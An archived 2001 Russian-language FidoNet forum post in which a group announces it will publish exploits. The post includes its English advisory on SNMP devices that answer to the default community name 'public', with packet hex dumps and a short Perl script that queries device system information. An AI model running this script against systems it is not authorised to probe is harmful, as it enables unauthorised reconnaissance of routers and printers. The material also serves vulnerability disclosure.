|
|
ru.nethack- RU.NETHACK ------------------------------------------------------------------- From : Andrey Sokolov 2:5020/1057.100 04 Apr 2001 01:13:51 To : All Subject : Минyткy внимания... --------------------------------------------------------------------------------
Гpyппа underlings пpиняла pешение наконец-таки "вылезти на повеpхность" и
начать "общественно-полезнyю" деятельность. Hа данный момент, мы намеpены
заниматься пyбликацией найденных нами интеpесных (с нашей точки зpения)
yязвимостей в виде более-менее полных и инфоpмативных эксплоитов.
Мы намеpены пyбликоваться на пакетштоpме и на багтpеке на английском языке.
Если область наших интеpесов покажется интеpесной местной пyблике (и, особенно,
yважаемомy модеpатоpy Славе Мяснянкинy :))), мы бyдем составлять одновpеменно
pyсскоязычные веpсии этих докyментов и пyбликовать их здесь. (void.ru? xakep.ru?
hackzone.ru?)
Хочy ещё pаз настойчиво попpосить yважаемyю общественность: не надо y меня
спpашивать "где взять rfc?" или "как захакать маздай, помоги начинающемy" или
"дай мне инфy по хакy". Это вне области интеpесов моей гpyппы и меня лично.
=== RFU0001E.TXT ===
-={[ SNMP supporting network devices vulnerability exploit ]}=-
english edition
-=<( Authors
VBh // underlings
Privacy // underlings
-=<( Authors' requisites
format : ASCII, 80 characters per string
date : 2001, April 3rd
feedback : privacy@chat.ru
-=<( Introduction
SNMP (Simple Network Management Protocol) is supported by a huge amount
of network devices (such as, for example, network printer adapters, routers,
etc). One of the rfc documents that specify SNMP protocol, proclaims
aproximately following: "a network device may be considered completely operated
if it implements SNMP protocol".
Following SNMP standard, the whole information required to operate a
remote network device is being kept directly in its memory, in MIB (Management
Information Base). As itself, SNMP protocol represents a user level interface
to control a remote MIB.
While performing a remote SNMP request, a "community name" option field
is used as an identifier.
Let us take a slight look at a typical SNMP request:
0000: 20 53 52 43 00 00 44 45 53 54 00 00 08 00 45 00 SRC..DEST....E.
0010: 00 4F 39 00 00 00 80 11 CC CC XX XX XX XX YY YY .O9........"....
0020: YY YY 04 03 00 A1 00 3B CC CC 30 82 00 2F 02 01 .......;..0../..
0030: 00 04 06 49 44 45 4E 54 36 A1 82 00 20 02 02 2C ...IDENT6... ..,
0040: B0 02 01 00 02 01 00 30 82 00 12 30 82 00 0E 06 .......0...0....
0050: 0A 2B 06 01 02 01 02 02 01 02 01 05 00 .+...........
Here goes an answer for the request performed above:
0000: 44 45 53 54 00 00 20 53 52 43 00 00 08 00 45 00 DEST.. SRC....E.
0010: 00 5D 01 93 00 00 77 11 CC CC YY YY YY YY XX XX .]....w..K....."
0020: XX XX 00 A1 04 03 00 49 CC CC 30 3F 02 01 00 04 .......I.E0?....
0030: 06 49 44 45 4E 54 36 A2 32 02 02 2C B0 02 01 00 .IDENT6.2..,....
0040: 02 01 00 30 26 30 24 06 0D 2B 06 01 02 01 02 02 ...0&0$..+......
0050: 01 02 88 80 80 03 04 13 33 43 6F 6D 20 45 74 68 ........3Com Eth
0060: 65 72 4C 69 6E 6B 20 50 43 49 00 erLink PCI.
(to keep a desirable privacy, we fill IP header's Source and Destination
IP address fields accordingly with XX.XX.XX.XX and YY.YY.YY.YY; IP and UDP
headers' checksum fields are filled with CC.CC; SNMP request's community name
field contains six bytes of a random string "IDENT6")
Obviously, we can get an opportunity to interact with a remote MIB only
knowing a "community name" which is set up at a remote SNMP-agent.
-=<( Vulnerability
It seems that many remote network devices that support SNMP protocol
successfully process a default community name, "public".
Here goes an SMNP-request that contains a string "public" as a community
name:
0000: 20 53 52 43 00 00 44 45 53 54 00 00 08 00 45 00 SRC..DEST....E.
0010: 00 AD 35 00 00 00 80 11 CC CC XX XX XX XX YY YY ..5........"....
0020: YY YY 04 03 00 A1 00 99 CC CC 30 82 00 8D 02 01 ........) 0.....
0030: 00 04 06 70 75 62 6C 69 63 A0 82 00 7E 02 02 2C ...public......,
^^ - "string" type
^^ - string length
^^ ^^ ^^ ^^ ^^ ^^ - community name
0040: AC 02 01 00 02 01 00 30 82 00 70 30 82 00 0C 06 .......0..p0....
0050: 08 2B 06 01 02 01 01 01 00 05 00 30 82 00 0C 06 .+.........0....
0060: 08 2B 06 01 02 01 01 02 00 05 00 30 82 00 0C 06 .+.........0....
0070: 08 2B 06 01 02 01 01 03 00 05 00 30 82 00 0C 06 .+.........0....
0080: 08 2B 06 01 02 01 01 04 00 05 00 30 82 00 0C 06 .+.........0....
0090: 08 2B 06 01 02 01 01 05 00 05 00 30 82 00 0C 06 .+.........0....
00A0: 08 2B 06 01 02 01 01 06 00 05 00 30 82 00 0C 06 .+.........0....
00B0: 08 2B 06 01 02 01 02 01 00 05 00 .+.........
After performing a request brought above, we gather the following
reply:
0000: 44 45 53 54 00 00 20 53 52 43 00 00 08 00 45 00 DEST.. SRC....E.
0010: 01 32 01 8F 00 00 77 11 CC CC YY YY YY YY XX XX .2....w..z....."
0020: XX XX 00 A1 04 03 01 1E CC CC 30 82 01 12 02 01 .........)0.....
0030: 00 04 06 70 75 62 6C 69 63 A2 82 01 03 02 02 2C ...public......,
0040: AC 02 01 00 02 01 00 30 81 F6 30 81 8A 06 08 2B .......0..0....+
0050: 06 01 02 01 01 01 00 04 7E 48 61 72 64 77 61 72 .........Hardwar
0060: 65 3A 20 78 38 36 20 46 61 6D 69 6C 79 20 36 20 e: x86 Family 6
0070: 4D 6F 64 65 6C 20 37 20 53 74 65 70 70 69 6E 67 Model 7 Stepping
0080: 20 33 20 41 54 2F 41 54 20 43 4F 4D 50 41 54 49 3 AT/AT COMPATI
0090: 42 4C 45 20 2D 20 53 6F 66 74 77 61 72 65 3A 20 BLE - Software:
00A0: 57 69 6E 64 6F 77 73 20 32 30 30 30 20 56 65 72 Windows 2000 Ver
00B0: 73 69 6F 6E 20 35 2E 30 20 28 42 75 69 6C 64 20 sion 5.0 (Build
00C0: 32 31 39 35 20 55 6E 69 70 72 6F 63 65 73 73 6F 2195 Uniprocesso
00D0: 72 20 46 72 65 65 29 30 18 06 08 2B 06 01 02 01 r Free)0...+....
00E0: 01 02 00 06 0C 2B 06 01 04 01 82 37 01 01 03 01 .....+.....7....
00F0: 02 30 0F 06 08 2B 06 01 02 01 01 03 00 43 03 0E .0...+.......C..
0100: 43 76 30 0C 06 08 2B 06 01 02 01 01 04 00 04 00 Cv0...+......
0110: 30 11 06 08 2B 06 01 02 01 01 05 00 04 05 55 4D 0...+.........UM
0120: 50 52 55 30 0C 06 08 2B 06 01 02 01 01 06 00 04 PRU0...+........
0130: 00 30 0D 06 08 2B 06 01 02 01 02 01 00 02 01 02 .0...+..........
Here goes a little program written in perl that implements a remote MIB
interviewing via "public" used as a community name:
-=<( Exploit program
use IO::Socket;
use strict;
print "SMTP analyzer via community name 'public' done by VBh // underlings\n";
my($sock, $host, $pkt, $msg, $port, $ipaddr, $hishost,
$MAXLEN, $Lport,$DSTport, $TIMEOUT, $community, $oid);
$community="public";
$MAXLEN = 1024;
$Lport = 5151;
my @str= ("sysDescr","sysObjectID","sysUpTime","sysContact","sysName",
"sysLocation", "sysServices");
unless (@ARGV == 2) { die "usage: $0 <host> <port>" }
($host, $DSTport) = @ARGV;
for (my $i=1; $i<=7; $i++) {
$oid="\x2B\x06\x01\x02\x01\x01".chr($i);
$pkt = "\x30".chr(length($community)+length($oid)+25)."\x02\x01\x00".
"\x04\x06".$community.
"\xA0\x19\x02\x01\x00\x02\x01\x00".
"\x02\x01\x00\x30\x0E\x30\x0C\x06".
chr(length($oid)+1).$oid."\x00".
"\x05\x00";
$sock = IO::Socket::INET->new (Proto => 'udp',
LocalPort => $Lport+$i,
PeerPort => $DSTport,
PeerAddr => $host) ||
die "Creating socket: $!\n";
$sock->send($pkt) || die "send: $!";
while ($sock->recv($msg, $MAXLEN)) {
print "$host $str[$i-1]: ".unpack("x40 A*", $msg)."\r\n";
shutdown ($sock, 2);
}}
-=<( Statistics
It wasn't our purpose to collect a huge statistics list concerning this
vulnerability. Here is a small remote systems list we have already tested this
vulnerability at:
- 3Com routers (SuperStack II), various 3Com network adapters
- Cisco routers
- Templex routers
- Hewlett Packard network printers
- Xerox network printers
We suppose, under a certain persistence, this list may be greatly
expanded.
-=<( Destructive possibility
Besides this all said above, there are some network devices that afford a
possibility to produce records in its MIBs. All our tests we performed on the
whole straightedge of Hewlett Packard network printers confirmed this
supposition.
Under the comprehensible reasons, we won't publish an exploit program
that implements this destructive possibility.
-=<( Additional information
Basic rfc documents which specify SNMP and MIB II concepts:
1) 1157, "A Simple Network Management Protocol (SNMP)". You may easily
find a sufficient amount of information concerning SNMP protocol programming
stuff.
2) 1213, "Management Information Base for Network Management of
TCP/IP-based internets: MIB-II"
Additional rfcs:
3) 1067, 1098, 1158, 1161, 1212, 1239, 1303, 1351, 1352, 1354, 1441, 1442,
1443, 1444, 1445, 1446, 1447, 1448, 1449, 1450, 1573, 1901, 1902, 1903, 1904,
1905, 1906, 1907, 1908, 1909, 1910, 2011, 2012, 2013
You may also find some sence in searching for the native snmp agents and
managers documentation and programs.
=== RFU0001E.TXT ===
Cheers, [Privacy], _/daedalus@inbox.ru_/
[_underlings_]
---
* Origin: Originated by 3BEPb (2:5020/1057.100)
Вернуться к списку тем, сортированных по: возрастание даты уменьшение даты тема автор
Архивное /ru.nethack/51743aca7926.html, оценка из 5, голосов 10
|